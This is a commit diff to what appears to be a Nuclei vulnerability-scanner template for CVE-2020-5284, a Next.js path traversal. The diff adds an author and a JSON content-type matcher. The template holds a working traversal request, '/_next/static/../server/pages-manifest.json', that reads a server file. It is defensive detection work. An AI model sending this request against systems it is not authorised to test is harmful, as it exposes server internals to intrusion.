🔨 Add content-type matcher CVE-2020-5284

cves/CVE-2020-5284.yaml

@@ -2,19 +2,23 @@ id: CVE-2020-5284
 
 info:
   name: Next.js .next/ limited path traversal
-  author: Harsh & Rahul
+  author: Harsh & Rahul & dwisiswant0
   severity: medium
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/_next/static/../server/pages-manifest.json"
-
     matchers-condition: and
     matchers:
       - type: regex
         regex:
           - '\{"/_app":".*?_app\.js"'
+        part: body
+      - type: word
+        words:
+          - "application/json"
+        part: header
       - type: status
         status:
           - 200